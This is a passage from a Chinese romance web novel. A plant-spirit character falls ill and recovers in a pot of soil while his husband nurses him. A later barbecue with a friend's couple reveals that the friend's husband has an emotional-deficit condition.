于是他跳下沙发,踩着拖鞋移到人的身边,不由分说挤进段闻洲和书桌之间。 只见佘念一言不发,然后抬手环住了人的脖子,亲了上去。 而段闻洲闭上了眼,没有推开,扶住了他的腰,温柔地予以回应。 ——换做以前,他一般都会不动,仿佛一根钢管一样,任由佘念动作。 但是现在,每次被佘念偷亲,他都会掌握主动权,薄唇吸吮挑逗,把人亲得喘不上气。 每一次,小朋友都会被亲得晕晕乎乎,只觉得现在的亲亲好像比起从前要更舒服了。 虽然不明白为什么,佘念也并未察觉,但两人之间的关系,渐渐拉近了几分。 两颗心在不知不觉间慢慢靠近。 ———— 街道两旁的树叶染上了黄色,再缓缓从枝头剥落,寒风吹散了秋意,正式步入了冬季。 在这秋冬交替的季节,我们的小蛇舌草,第一次病倒了。 最初只是小感冒,佘念还没在意,被段闻洲叮嘱半天才喝了药,但没想到病来如山倒,几天后竟直接发起高烧来了,卧倒在床,一点力气都没有。 蔫巴蔫巴的样子,毫无往日的精神气,叫段闻洲看了都心疼不已。 如果此时能化作原型的话,大概能看见他叶子都蔫得卷起来泛黄了。 大概是因为这具身体本身抵抗力太差,所以即使佘念本体是药材,也还是难以抵抗来势汹汹的流感,成功中招。 “咳咳……” 喉咙间的痒意止不住,躺在床上的佘念剧烈咳嗽起来。 “喝点水。” 一旁守着的段闻洲连忙拿过水杯,就着自己的手给人喂了口水。 他今天特意推掉了所有的工作,转为线上办公,就是为了寸步不离地在家照顾人。 “唔,谢谢老公。” 温热的水浸润了嗓子,佘念这才觉得好了点,强撑精神对人道谢。 “快躺下休息,别说话了。” 看着他泛着不正常潮红的脸,呼吸粗重,眉心都拧成一个川字,让人觉得心疼不已,段闻洲给人量了量体温,发现还是38.5度。 “我让医生过来给你看看吧。” 吃退烧药也降不下去,他叹了口气,准备给家庭医生打个电话。 医生?不会又要扎针吧? 闻言,痛苦的记忆浮上心头,佘念吃力地抬起手拉住人的袖子,小脑袋瓜缓慢地摇了一下。 “不……不要医生。” 他小声央求。 “但是不叫医生来的话,你的烧退不下去。” 知道他害怕,段闻洲在床边蹲下,耐心地对人解释。 “有、有办法的。” 佘念哑着声音说道。 紧接着,他颤巍巍地竖起了一根手指: “给我一盆土,就好了。” “……佘念,这个只是小病。” 听见他的话,段闻洲沉默地抿了抿唇,然后艰难地开口道。 “能治的,用不着土。” 只是区区发烧而已,还不至于提前准备入土吧? 第66章 “给我一盆……土, 生病了,要的……” 闻言,佘念刚想收回去的手指, 又重新摇摇晃晃地竖了起来, 艰声重复道。 发烧而已, 真不至于要找土的。 无奈地叹了口气,段闻洲不由得摸了摸人的额头, 发现温度好像并没有上升。 “怎么烧到38度就开始说胡话了?” 他自言自语道。 “没说胡话……” 见他不相信,佘念揪紧了他衣摆, 想要解释清楚。 但大脑晕晕乎乎的,嗓子也干得冒烟, 他张嘴张了半天, 都说不出话来。 ——其实他没烧糊涂, 是真的很需要一盆土。 因为只有回到土里, 植物才能最大限度地进行身体自我修复,从而恢复健康。 正如家里阳台上的人参精兄弟一样,在土壤里恢复得极好, 差不多已经养回来了七成法力。 与其打针, 不如回土里休养一会。 “……就帮我找一盆土来,好不好嘛。” 实在说不清楚了, 佘念摆烂放弃, 直接撒娇央求起人来。 “我可以帮你找,但是答应我,先等医生来给你看过病好吗?” 一向架不住他撒娇的段闻洲, 见其还是如此执着,只好答应了。 但还是得先把病治好,康复后到时候别说一盆土了, 要一块地都能给小朋友买下来。 “不行……咳咳咳,现在就要。” 要土壤就是为了不要医生呀,怎么能让医生先来呢,佘念着急了,话说得太急,一下子止不住咳嗽起来。 “我不要看医生,我都喝过药了——” “但是喝药没效果,得让医生来检查,看要不要打一针退烧针。” 顿了顿,大概猜到人在怕什么,段闻洲又补充道: “不痛的。” “但是……但是我不想打针,老公,你先让我睡一觉好不好,要是睡醒还烧的话,再喊医生过来可以吗?” 佘念委屈兮兮地央求。 “这……好吧,但是如果还发烧的话,就不能再拖了。” 实在拿他没办法,段闻洲不得不退一步。 “好哦,那老公你记得给我拿一盆土啊,把土放在床头陪我一起睡觉。” “……行。” 实在拗不过小朋友,虽然不明白为什么如此执着于泥土,但段闻洲还是答应了下来。 不理解,但尊重,毕竟病患为大,说什么就是什么。 哪怕是胡话。 于是,堂堂段总来到楼下花园里,亲自蹲在花圃边,拿着小铲子给人挖了一小捧泥巴,用花盆装上拿回房间。 “放这里可以吗?” 他将花盆放在窗台边问道。 “老公,放到这里来吧。” 那里太远了够不着,佘念努嘴指了指床头柜。 当花盆摆在床头柜时,段闻洲的手机忽然响了,是秘书打电话过来。 于是他压低声音接通: “喂……好,等会我去看看……” 挂断电话后,他歉意地看来: “抱歉,临时有一个线上会议——” “没事的,你去咳咳,你去吧,刚好我想睡一会。” 听到人要走,佘念忙不迭地说道。 ——简直是天赐良机,老公现在离开一会的话,正好能给自己留出时间化原型,回土里待着。 在临走前,段闻洲给人倒满了杯子里的热水,并开启加热垫保温,又把纸巾毛巾等放在床头柜上,垃圾桶挪到床边,方便人一伸手就能够得着。 另外手机也摆放在了人触手可及的位置,这样有任何事,都可以直接打电话呼叫自己过来。 把这一切都安排妥当了,他本准备离开房间,顿了顿后又掉回头,给人将毛绒拖鞋往床边挪了挪,方便人下床便能穿上的同时,还仔细替人掖了掖被角。 “有事记得叫我。” 在房门口,段闻洲抬头叮嘱道。 “嗯知道啦,你去忙吧,咳咳咳——” 被窝里的佘念乖巧回答。 等到房间门被关上,又听到人上楼去书房的动静后,他立刻掀开被子下床,把那盆土拿至身边。 紧接着,他闭上了眼,集中精力施展法力想要变回原型。 只见佘念的身上漂浮出无数光点,而他的身体也渐渐地消散变透明,汇集成一条有形的发光能量带,缓缓飘向花盆的方向,钻进了土壤里。 在光亮尽数没入泥土中时,原本站着的佘念凭空消失不见,只余衣衫跌落堆积在地上。 而相对应的,花盆里出现了一小株绿色的蛇舌草。 小蛇舌草的叶子耷拉着,又黄又卷,看上去没精神极了,微弱地晃了晃,似乎已经耗尽了力气。 ——这颗草便是佘念的本体。 一回到土壤,就仿佛泡温泉一样,他感受到无数的营养从根茎中涌上,慢慢滋养着病弱的身躯,令他浑身上下都暖洋洋的。 这可比医生治病的效率高多了,毕竟术业有专攻,医生能治人,但治草就是另外一个领域的知识了。 佘念默默心想,觉得精神势头都好了几分。 渐渐地,小蛇舌草曲起的叶子舒展开,原先泛黄的叶片也恢复了翠绿。 就在他沉浸在温暖之中时,房门外忽然传来了轻微的脚步声。 ——段闻洲回来了。 反应过来后,佘念猛地睁眼,立刻变回了人型,连地上的衣服都来不及穿,就赶忙钻进了被窝里装睡。 就在他躺下的那一秒,卧室门被打开。 只见段闻洲放缓脚步走了进来。 提前结束会议的他以最快的速度下了楼,赶回来想要查看生病的小朋友状态如何。 “老公,你回来啦?” 精神已经好了不少,佘念装作刚睡醒的样子,迷蒙地睁眼看过来,还故意把嗓音掐得含糊黏腻。 “嗯,感觉怎么样,要不要我找医生过来?” “不用不用,我觉得我好像退烧了,不信你摸摸。” 说着,他拉过段闻洲的手,覆在自己的额头上,想要证明身体状况好很多了。 手心覆盖上额头,底下的皮肤温度确实比最开始降低了不少,应该是真的退烧了。 感受着温度,段闻洲思索着。 就在他琢磨时,余光向下一瞥,圆润白皙的肩头跌入视线,晃眼极了。 他这才注意到,此时的佘念好像没穿衣服。 身体一怔,紧接着才发现床边散落的一地衣物。 只见此时的佘念双手伸出了被子,赤裸的肩头和胳膊一样没有布料覆盖,光.溜溜地暴.露在空气中,明显的锁骨在被子的边缘半遮半掩,若隐若现。 随着他接下来坐起身的动作,被角滑落,整个上半身都袒.露了出来。 不.着.寸.缕,赤.条.条的,比牛奶和丝绸还要光滑白皙。 而梅花般点缀在胸.膛前的两.点,铺于满目的洁白之上,更加清晰可见。 粉色的梅花娇.嫩浅艳,看上去没有一点色素暗沉,此时正独自屹立在枝头。 若是有外界的力量抚摸一番,大概花朵会绽放挺立得更热烈。 视线在脑子反应过来之前,已经将这片慷慨的景色全部看过,偏偏当事人还毫无知觉,就这么坦.荡地展露。 段闻洲的身体下意识做出动作,迅速将人按回了床上躺下,并扯过被子替其严严实实盖上。 盖得只有个脑袋露在外面的那种。 “咳,当心别着凉。” 当感受到床上人询问的视线后,他尴尬地轻咳一声,移开视线为自己解释道。 “噢好,谢谢老公。” 闻言,单纯的佘念丝毫不怀疑,甚至还十分听话地继续把被子向上拉了拉。 大概是因为退烧发汗,热起来了,所以才迷迷糊糊地将衣服全部脱下来了吧。 方才摸着他的额头时,似乎确实有点汗湿,应该是发汗。 努力使自己冷静下来,段闻洲在心底分析着小朋友浑身光溜溜的原因。 总不可能是自己主动脱得□□吧。 想到这,他给人拿来换洗睡衣,并打来一盆热水,准备替其擦一擦身体。 “来,坐起来,帮你擦身体。” 刚退烧还不能洗澡,但发了汗身上肯定会黏呼呼的不舒服,所以段闻洲便打算帮人擦一擦,权当做清洁了。 乖巧地坐起来,佘念缓慢地眨了一下眼,暂时还没弄明白是要做什么,但是会十分听话地配合,让伸手就伸手,让抬手就抬手。 湿热的毛巾贴上皮肤表面,以温柔的力道缓慢擦拭,拂去汗水带来的黏.腻不适,取而代之的是清爽干净。 噢,原来是帮我擦身体。 感受着男人的动作,佘念这才恍然大悟。 好舒服,好体贴。 头一次在生病期间被人如此无微不至地照料,他只觉心底一软,心脏被满满的暖意给包裹住。 曾经在林子里生病时,只能依靠自己,能捱过就能继续活下去,不然就只能面临枯萎凋零的命运。 但是遇见段闻洲后,一切都不一样了。 有暖心的热水,有细心的关照,有不离不弃的守候。 病得难受时,只要稍稍一偏头,就能望进那双深邃的眼眸,就能感受到始终守在身边的温度。 段闻洲是第一个,也是唯一一个对自己这么好的人。 想到这,佘念的嘴角情不自禁地上翘,他放松身体,就势向段闻洲的方向一靠,倒在人坚实的怀抱里。 这是毫无防备的依赖姿态。 怀里忽然多了一份重量,段闻洲先是愣了愣,随即不由得莞尔,仔细地扶住人的肩膀。 给小朋友擦拭完全身后,他拿过睡衣放到人的手中,让他自己穿上。 “嗯?老公,你不帮我穿吗?” 正眯眼舒服地享受着老公伺候,佘念茫然地眨了眨眼,捧着衣服问道。 “咳那个,你自己穿吧。” 倒不是不帮,穿外面的睡衣是小事,主要是穿内.裤比较麻烦,段闻洲讪讪地摸了摸后脑勺。 毕竟刚刚替人擦拭腿.部和后腰部时,险些就要出事了。 “噢……” 被拒绝了的小蛇舌草撅嘴,不情不愿,一把掀开被子,拿过内裤就准备穿上。 光洁白皙的腿,以及隐.秘的地方,就这么再次进入视线,毫无保留。 段闻洲忽然觉得,自己该去洗个冷水澡了。 “佘念,不要在被子外面穿衣服,容易着凉。” “噢,知道啦。” 第67章 退烧后, 佘念的身体状况肉眼可见好起来了,因此段闻洲没再让医生来给人打针,只是开了一点药吃, 好帮助人彻底痊愈。 在家休息的这段时间, 佘念的各项拍摄工作也都被暂停, 本来在这期间他是想去工作的,但被段闻洲给拦下了, 要他必须完全康复后才许去工作。 不管怎么撒娇磨人,段闻洲都不肯松口, 于是佘念只好作罢,乖乖在家养病。 “阮晨?我没事, 就是前段时间有点生病, 但是现在已经快好了, 嗯你要来看我?” 这天, 在家休养的佘念接到了来自阮晨的电话,并得到了人要来探病的消息。 挂断电话后,他试探着问段闻洲: “老公, 阮晨说他想来看看我, 可以吗?” “当然可以,这里也是你家, 你朋友来看望你为什么不行?” 段闻洲回答。 闻言, 佘念笑着用力点了一下头,将地址发送给了阮晨。 而效率极高的阮晨,不到一小时就开车赶了过来。 只见他左右手各拎着一大盒补品上门, 十分有来探望病患的架势。 “你好,我来看看佘念。” 见来开门的人是段闻洲,他礼貌地问好, 并将带来的礼物递出。 “让你破费了,佘念就在客厅,快请进。” 没想到他拿了这么多东西来,段闻洲略显诧异,接过后连忙把人迎进屋内。 “阮晨,你来啦——” 沙发上坐着的佘念见人来了,连忙对其挥了挥手。 “你还好吗?这么久没看到你,你经纪人跟我说你生病了,这段时间都在家休养。” 一进屋,阮晨就直奔过来,而在看清佘念此时的打扮时,忽然变得欲言又止。 只见沙发上的佘念,浑身上下被包得严严实实,身上穿着加厚的绒毛睡衣,脚上踩着毛绒绒的棉拖鞋,大腿上还盖着一层厚实的毛毯。 并且手中还捧着一个冒着热气的水杯在暖手。 裹得严严实实的,就像个大绒球,是一副非常保暖的打扮。 “你这是个什么打扮,到底是生病了,还是在坐月子?” 见状,阮晨不由得默默吐槽道。 “嘿嘿,我老公怕我着凉,非要让我这么裹着的。” 佘念嘿嘿一笑,脚丫子晃了晃。 有一种冷,叫老公觉得你冷。 本来他也不想穿这么严实的,但是段闻洲生怕他受凉再次发烧,于是把全部的保暖措施都给人用上了。 一点凉都不让人受的那种。 “来,喝点水。” 恰好这时段闻洲端着茶水走过,递给了阮晨。 “谢谢。” 这怎么还光明正大秀恩爱的呢,当着人的面,阮晨不好再吐槽,目光默默在两人间来回扫了一眼,将所有的话都咽回肚里。 知道两人肯定有话要聊,段闻洲十分自觉地去了楼上书房,把一楼的空间留给他们。 “你这么多天都没出现,我还以为你得了什么病呢,把我给吓一跳。” 人一离开,阮晨立刻捧着杯子在佘念身旁坐下。 “确实是生病了,不过其实就是有点发烧而已,只是我老公一直不让我出门工作,怕我还没彻底痊愈。” 佘念笑了笑,解释道。 “你俩感情真好啊,他很关心你。” 闻言,阮晨叹了长长的一口气,向后仰靠在沙发背上,羡慕地感慨道。 余光瞥见人无名指上的戒指,又结合他话里有话的感叹,佘念琢磨一番,试探着问: “你们,感情不太好吗?” “嗯……说不上不好吧,因为严格来说就没有感情。” 低头看了看自己手上的戒指,阮晨自嘲地笑了笑。 不过很快他就转移了话题,似乎是不想深入谈论这件事。 即使是迟钝的佘念也能明白他的想法,因此没有追问。 无话不谈的两人一直聊到中午,直到段闻洲下楼来了,阮晨才意识到居然已经这个点了。 于是他准备起身告别。 “留下来一起吃个午饭吧。” 一边说,段闻洲一边挽起袖子,准备去厨房做饭。 “不必了,我还有事,下次一定。” 阮晨连忙摆手婉拒道。 “那欢迎你下次再来玩,有机会请务必让我们请你吃个饭,以感谢你这段时间对佘念的照顾。” 劝了人好几次后,见人确实是有事要忙,段闻洲便也没再坚持。 “好啊,不过……我可以带人一起吗?” 眼珠子转了转后,阮晨试探着问,似乎有什么想法。 “当然没问题。” “好,那到时候再叨扰。” ———— 等到佘念彻底康复后,他和段闻洲再次邀请阮晨来家中做客。 对此阮晨答应了下来,不过再次询问是否能带家属一起过去。 家属?是指他的爱人吗? 回想起之前他谈论到爱人时的落寞反应,佘念有些好奇,也确实想见见那人。 到底是什么样的人,会让阮晨露出那般的表情呢? 因此两人表示当然欢迎,人越多越热闹。 于是聚餐的时间定在周六晚上,两人准备了烧烤用的各种食材摆放在后花园。 本来段闻洲是想安排在泳池边,不过考虑到天气渐凉,最后还是作罢。 再加上佘念想试着克服对火的恐惧,所以最终安排了烧烤。 随着门铃的响起,是阮晨两人到了。 “来啦——” 见状,佘念小鸟一样挥着翅膀赶去开门,在看见阮晨后他脸上笑得跟朵花似的,连忙把人迎进家中。 “嘿,没迟到吧?” 瞧见是他开门,阮晨勾了勾唇,对人打着招呼。 “没迟到,快进来吧。” 佘念嘿嘿笑着,不过当他抬头看见后方另一个高大的男人时,脸上的笑容一僵,差点被吓得后退一步。 只见那男人个子很高,面上戴着一副细框眼镜,看起来斯斯文文的,但却抿着唇,面无表情地板着一张脸,威慑力极强,极其吓人。 那人浑身上下散发出拒人于千里之外的气质,让佘念下意识联想到了冰山。 “你好,打扰了。” 就连打招呼时,他的语气也是波澜不惊,一点感情起伏都没有。 “你、你好……” 莫名怂了几分的佘念缩了缩脖子,讪讪地接过那人递来的伴手礼。 ——好吓人啊这人,他忍不住在心底吐槽道。 “怎么都站在门口不进来?” 这时段闻洲走了过来,见他们三人都挤在门口一动不动,好奇地问道。 瞧见老公来了,怂兮兮的佘念立刻不露声色地躲到了他身后,只探出一个小脑袋瓜。 不知道发生了什么,段闻洲摸了摸小朋友的头顶安抚着,然后循着他警觉的目光偏头望去,在看清来人后他一愣: “嗯?齐总?” “段总。” 而对面的那位齐总像是早就知道似的,一点也不惊讶,同方才一样淡淡地打着招呼。 “老公,你们认识吗?” 闻言,佘念缓慢地眨了一下眼睛,疑惑不解。 “严格来说不算认识,但是有听说过齐总。” 段闻洲低下头,对人小声解释道。 “忘了介绍了,这位是齐子修,我的……” 这时阮晨才想起来互相介绍,但在说明齐子修的身份时却卡了壳,一时间不知该用什么词去描述。 “你好,齐子修,是阮晨的爱人。” 对此,齐子修似乎并不因为介绍的卡壳而介意,脸上未显半分不悦,依然面不改色地伸出手同人握手问好。 “你好,段闻洲,这位是佘念,我的爱人。” 回握住人的手后,段闻洲也道,在说到最后两个字时,他语调放轻了几分,弯了弯眼,微不可察的笑意盈上眼底。 “我们先去花园里吧,都已经准备好了,还一直站在门口做什么。” “好,麻烦你们了。” 趁两人走去花园的路上,佘念放慢脚步,故意走在后面,悄悄拉了拉段闻洲的衣角。 “老公,那人是谁啊?” 他追问道。 ——既然老公都知道的人,想必应该也很厉害吧? “齐总是曦晟科技有限公司的创始人兼执行总裁,这个公司掌握着很多顶尖技术,在业内很有名。” 曦晟公司虽然成立时间不久,但在研发领域极其了得,很多最新技术都是掌握在他们的手中,实力雄厚。 但据说公司的创始人性格较为古怪,极少与人深交,很多人递来合作的橄榄枝,但无一例外都会被不留情地驳回。 之前在研发新型能源时,段闻洲也曾想过与曦晟公司合作,以扩大日后的产品链,但由于太难搭线,合作推进得很缓慢。 没想到无巧不成书,齐子修居然是佘念好朋友的爱人,在这里搭上了线。 该说不说,还是沾了佘念的光。 “没准你真是个小福星。” 想到这,段闻洲哑然失笑,温柔地揉了揉小朋友的发顶。 有他在身边,自己总是很幸运。 “嗯?” 不明所以的佘念歪了歪头,鼻子轻哼一声发出询问。 小蛇舌草听不懂什么意思嘞,只知道老公的摸摸很舒服。 ———— 后花园里,烧烤架和各类食材都已经准备完毕,其中手工串好的烤串,小部分是佘念和段闻洲完成的,大部分则是主宅来帮忙的阿姨弄好的。 ——本来佘念是想全部亲手弄的,但段闻洲见他串到最后已经两眼无神,神情呆滞,便紧急打电话从主宅摇了人过来搭把手。 鉴于两个小朋友强烈要求由自己来生火烤串,段闻洲和齐子修只得去一旁的椅子坐下,给两人留下发挥空间。 看着前方两人手忙脚乱,但又乐在其中的样子,段闻洲眉眼带笑。 “他们关系很好。” 他说道。 “嗯,阮晨好像很喜欢和佘念相处。” 齐子修也点了点头。 “抽烟吗?” 忽然间,齐子修从口袋里掏出一包烟,递来一支到人面前。 “抱歉,已经戒了。” 见状,段闻洲歉意地笑了笑。 ——毕竟自从知道某个小朋友很怕火后,每次当着人的面都尽可能不抽烟,后来由于两人待在一起的时间越来越长,慢慢地就戒掉烟了。 不过他觉得,齐子修看上去不像是会抽烟的人。 闻言,齐子修倒也没再劝,却是直接把烟收了起来,自己也没再抽。 “你不抽吗?我不介意的。” 段闻洲奇怪地问道。 “我从来不抽。” 没想到齐子修却这么回答。 不抽烟,但又随身携带烟? 还真是奇怪。 第68章 虽然感到奇怪, 但段闻洲并未追问,适时选择了沉默。 不过这时,齐子修又主动开口: “段总, 我接到你们公司拿过来的合作方案了。” 闻言, 段闻洲定了定神, 偏头看来。 “我觉得,合作有可行性, 但是方案还有一定的改进空间。” 顿了顿,齐子修继续道。 “首先, 方案里设想的合作领域过于局限,还不够大胆, 你们的新能源很有前景, 我们的合作其实可以在更多领域里开展, 比如……” 听见对面人所说的内容, 段闻洲讶异地挑了挑眉,明白了潜台词。 ——既然都把话已经说到这份上了,那就说明是有合作的意向。 于是他也挺了挺身, 拿出洽谈的姿态, 坐直同人进行着深入探讨。 ——说起来这幅画面有些诡异,在私人聚餐场合, 两大总裁居然在一本正经地谈论着商务合作。 反观旁边忙着烤串的另外两人, 可谓是画风迥异。 “……那么,下周一有时间的话,欢迎段总来我们公司商讨细节。” 齐子修缓缓地道。 这话一出, 基本上合作的事八九不离十了。 “好,届时就要叨扰齐总了。” 闻言,段闻洲露出一个了然的笑。 ——看来小朋友还真是个福星, 靠着他的关系,把合作进程加快推进了这么多。 想到这,他嘴角的笑意更甚,抬眸向着佘念所在的方向看去。 大概是注意到了身后的目光,正手忙脚乱的佘念忽然停下了动作,眨了一下眼,然后扭头看来。 视线在半空中对上时,他对着后方的人回以一个甜甜的笑。 而段闻洲同样,也对人勾了勾嘴角。 将两人的互动尽数收进眼底,齐子修的眼底闪过一抹复杂的情愫。 紧接着,他攥了攥拳,试探着问道: “段总您……和爱人关系很好对吗?” 话题突然从官方转变到私人,段闻洲愣了愣,片刻后很快回过神来。 “嗯。” 他眉眼带笑,轻声答道。 “那您,喜欢你的爱人吗?” “当然,喜欢的。” 虽然不知道他为何会这么问,但段闻洲并没有遮掩,坦然承认。 他的声音很低很轻,仿佛风一吹便能被裹挟着卷走,无法传达到前方人的耳中。 但其中蕴含的爱意却重如千钧,并且坚如磐石,矢志不渝,终有一日将传达给某人。 听见人的答案,齐子修的眼底暗了暗,又浮现出一缕更浅显易懂的情绪。 这下段闻洲看明白了,那是疑惑的情绪。 “喜欢……原来是这样子的吗?” 他听见人低声喃喃道。 ———— 不同于这边的画风,另一边的佘念和阮晨正在烧烤架边忙得火热。 “要动一下碳,让空气进去里面才行。” “不行,再动的话火就要熄灭了。” 两人围在架子边,忙了好半天才终于将火生了起来。 接下来,他们在选着要烤的串。 “诶阮晨,那人真的是你老公吗?” 在挑选的间隙,余光瞥见后方的两人正在交谈,没有看向这边,佘念便悄悄挪到了阮晨的身边,凑近人耳边小声问道。 “当然是的啊,怎么这么问?” 阮晨有些好笑。 “因为你老公看上去好吓人啊,面无表情的,好凶的样子。” “抱歉,他性格就是这个样子的,是不是很像座冰山?” 听见他的比喻,佘念疯狂小鸡啄米点头,表示赞同。 第一眼看见齐子修时,他真的被吓了一跳,没想到阮晨的对象会是这种类型的人。 其实他也说不清阮晨该和什么类型的人在一起,但最起码应该不是这种冷冰冰,像是没有感情一样的人。 “那他对你好吗?在你面前也是那么冷冰冰的吗?” “嗯……没有,严格来说的话,他对我挺好的。” 回想起那些贴心的举动,阮晨的嘴角扯出一个不带笑意的笑。 绕是迟钝的佘念也能察觉到,他话里有话。 “唔,什么意思?” “这些不方便在这里说,等以后有机会了再告诉你。” 闻言,阮晨却只是笑了笑,没有当场回答而是岔开了话题。 “快烤串吧,不然等会大家都饿了。” “嗷好的。” 这才想起来正事,佘念立刻回过神来,连忙抄起一把肉串放到烤架上。 大肉串一摆到上面,就被火焰烤得滋滋冒油,油滴落到下方的环保碳上,瞬间有明火蹭地一下冒出。 “啊——” 猝不及防被吓到,佘念惊呼出声,下意识甩开了手里拿着的烤串,后退躲开。 ——他没想到烧烤也会有这么大的明火,本以为可以和铁板烧一样小火慢烤,慢慢地戒掉对火的恐惧,可没想到这大火猛地一冒,叫他着实被吓了一大跳。 就在他被吓到不停后退时,后背猛地跌入一个熟悉又温暖的怀抱里。 只见段闻洲瞧见这边的情况,立刻赶了过来,大手揽住人的肩膀,牢牢地把人护在怀中。 “没事吧?” 他低声询问,仔细检查了一番小朋友的手心,确定没受伤后才安下心来。 “没事。” 惊魂未定的佘念怂兮兮地缩在他的怀里。 ——呜呜,本来想着借美食战胜一下对火焰的恐惧,看来还是失败了,火焰实在是太可怕了quq。 “让我来吧。” 见状,段闻洲一手搂住人的肩膀,另一只手握着肉串的柄,接替了烤串的任务。 大概是因为被人抱住有了安全感,这时的佘念没有方才那么害怕了,还敢悄咪咪地睁开一只眼睛,偷偷打量人的动作。 “老公,你不烫吗?” 他好奇地问。 “注意避开就好了,你看,只要握签子的最末端,手指不要碰到架子的这里就好。” 段闻洲给人示范着。 盯着老公游刃有余的动作,越看越觉得好像不是很难,佘念有些跃跃欲试,又想要再尝试一番,但还是有几分顾虑。 看出了他脸上的想法,段闻洲主动提议: “来,你握着这里试试。” 手掌被牵着握住签子的最末端,发现居然真的不烫,佘念诧异地睁大了眼。 “然后再把串摊开,手当心不要碰到架子,不然容易被烫到。” 见佘念能接受,段闻洲便循循善诱,一步步地引导着人。 同时,他的手还始终握住人的手背,慢慢引导着其。 ——其实一开始佘念提议要借烧烤来战胜对火焰的恐惧时,他是不太赞同的,但是见人如此坚持,最终才妥协。 眼下看着人的恐惧有所缓解,他也不由得稍稍放下心来。 等到所有的肉串都熟了后,佘念有些难以置信,没想到自己居然真的成功用火烤熟了食物。 这意味着,自己第一次战胜了对火焰的恐惧。 虽然说吧,这次成功全靠老公的帮忙,但都是一家人,两人不用分这么清的啦。 “老公,你尝尝。” 拿着自己的成果,佘念眼睛亮晶晶的,主动将第一串递到段闻洲的嘴边。 而段闻洲自然也不避讳,直接就着人的手吃下。 “很好吃,看来我们小朋友在烤串上很有天赋。” 他笑着打趣道。 这边气氛和谐温馨,反观另一边的两人则有些诡异。 目睹了两人的互动,阮晨看了看自己手中的肉串,默默低头烤了起来。 “我来。” 同样将视线从两人身上收回,齐子修思索了片刻后,主动伸出手来,想要接过。 而阮晨却避开了其伸来的手,没有让他全部拿走,只是分了一部分给他。 和身旁亲昵的两人不同,他们两人只是肩并肩站着,彼此间一句话也没说,沉默地进行着手上的动作。 不知道的,还以为他们不熟。 忽然间,阮晨先一步开口打破沉默: “你不用学他们的,其实我早就不在意了。” 他的语气平淡如水,面色也是毫无波动,似乎真的是不放在心上了。 闻言,齐子修像是想说些什么,但最终抿了抿唇,什么辩解的话都没说。 只是垂下了头,双手攥紧了些许。 ———— 吃完晚餐后,两位总裁大人回了楼上的书房,似乎还有其他的工作要详谈。 而佘念和阮晨两人,则继续在花园里散步消食。 两人沐浴着月色,并肩走在花园里,最终在石凳上坐了下来。 “好撑啊——” 佘念摸着圆鼓鼓的肚子,仰头感慨道。 而阮晨则是抬头看了看别墅三楼亮灯的房间,似乎有心事。 “佘念,你刚才不是想问我和齐子修的事情吗?” 他敛眸,主动提起了这事。 “嗯,你愿意说吗?太勉强的话就算了,不说也没关系的。” 大概是气氛正好,又或许是傍晚时目睹了佘念和段闻洲的亲昵,阮晨心底倾诉的阀门被打开,忍不住想将心事全部说出来。 “哪有什么勉强不勉强的,反正也不是什么大事。” 他自嘲地笑了笑,缓缓开口道。 “其实,我和齐子修也是商业联姻,但是因为我喜欢他,所以并不抗拒这一安排。” 一向与家里对着干的阮晨,在联姻这件事上却一点也没反抗,而是十分乖顺地听从家里人的意思。 因为,在看见齐子修的第一眼,他就体会到了什么叫一眼万年。 所以在两家人见面的晚宴上,本来准备大闹一场的阮晨,出乎所有人意料地没有作妖,十分安静听话。 在家人的安排下,他们结了婚,婚后两人顺理成章地搬到了一起住。 在共同生活的期间,阮晨发现齐子修虽然面冷,但是却对自己极好,体贴入微,关怀备至,可以说是一个世界上最完美的丈夫都不为过。 哪怕是再小的一件事,他都会放在心上。 挑不出一点毛病,建立在商业联姻基础上的婚姻也同样和谐。 感受着人的呵护,阮晨以为齐子修大概也是喜欢自己的。 最起码,也应该是有好感。 直到有一天,阮晨误打误撞地在人的书房里,翻找到了一张医院的检验单。 单子上面写着齐子修的名字,而记载的病因,却是情感缺失症。 第69章 看见病历本上记载的内容时, 阮晨一时间有些错愕,直到他上网查了一下情感缺失症的具体表现后,反应演变成了震惊。 ——情感缺失症, 一种缺乏共情能力, 体会不到正常人情绪的病症, 患者往往善于模仿和揣摩他人的心思等。 其中,患者通常都会对恋爱保持无感的态度。 而病历上记录的最新一次复诊时间, 是前天。 也就是说,齐子修一直以来都患有这样的心理疾病。 结合具体症状表现, 又联想到婚后齐子修对自己无微不至的关怀,阮晨心底忽然有了一种猜测。 这个猜测令他浑身的血液都凝固了, 拿着病历单的手都在颤抖。 ——他怀疑, 齐子修对自己的好, 可能都是装出来的。 不然的话, 没有情感,也对恋爱无感的齐子修,为什么会在依然有心理疾病的情况下, 对自己那么好? 如果, 他的举动都是模仿或者伪装的,那一切都能解释得通了。 想到这, 他以最快的速度冲到了人的跟前, 问他是不是患有情感缺失症。 看着阮晨手中的病历本,齐子修抿了抿唇,随即点了一下头, 坦然承认了。 “那你,喜欢我吗?” 得到肯定的答复,阮晨的心坠了坠, 不安的感觉涌上心头。 听见这个问题,齐子修抿紧下唇,面露难色的同时,眼底还有几分困惑。 像是不理解这个问题的含义。 “这个问题的答案,很重要吗?” 他忽然问道。 “当然。” 见阮晨坚持追问,最终齐子修却什么话都没有说,既没有点头,也没有摇头。 但是在这种情况下,沉默的回答无异于默认。 一股寒意自脚底升起,直窜大脑,得到了答案的阮晨自嘲地扯起嘴角,勉强地笑了笑: “那你为什么还要对我这么好?” “因为,其他人的婚姻,应该都是这样的。” 这一次齐子修没有沉默,但给出的答案却比刚才更伤人。 这下阮晨算是彻底明白过来了,齐子修根本不喜欢自己,一丝一毫的喜欢都没有。 他所有的体贴呵护,其实都是在模仿其他人婚姻中的举动。 ——因为婚姻需要甜蜜美满,需要呵护对方,所以他学着其他人的样子,扮演着一个完美的丈夫,事无巨细的对待阮晨,进行一段和谐完美的婚姻。 而恰恰是这样的做法,让阮晨误会了。 多可笑,对你的好只是建立在模仿的基础上,与你本人没有半点关系。 这些好只是出于当好一个合格的丈夫,维持好一段婚姻表面和谐的需要,所以才必须要这么做。 仅此而已。 一想到自己的一厢情愿,还有自己的主动靠近和试探,阮晨只觉得自尊心被踩在脚底下碾碎成齑粉。 ——这些小心思人家根本就不在意,宛如跳梁小丑一样,全部是自己在进行着独角戏。 人生头一次体会到恋爱的滋味,换来的却是彻彻底底的败北,心底的感情和自尊一样被弃之如敝屐。 本就是个骄傲高自尊的他,此时却如此狼狈不堪。 但细究起来,好像谁也没有错,怪不了齐子修。 因为患上情感缺失症也不是他的本意,他不懂情感,不识情爱,是早已注定的,而非故意为之。 硬要归责的话,大概只能怪自己自以为是地误解,一厢情愿地默认。 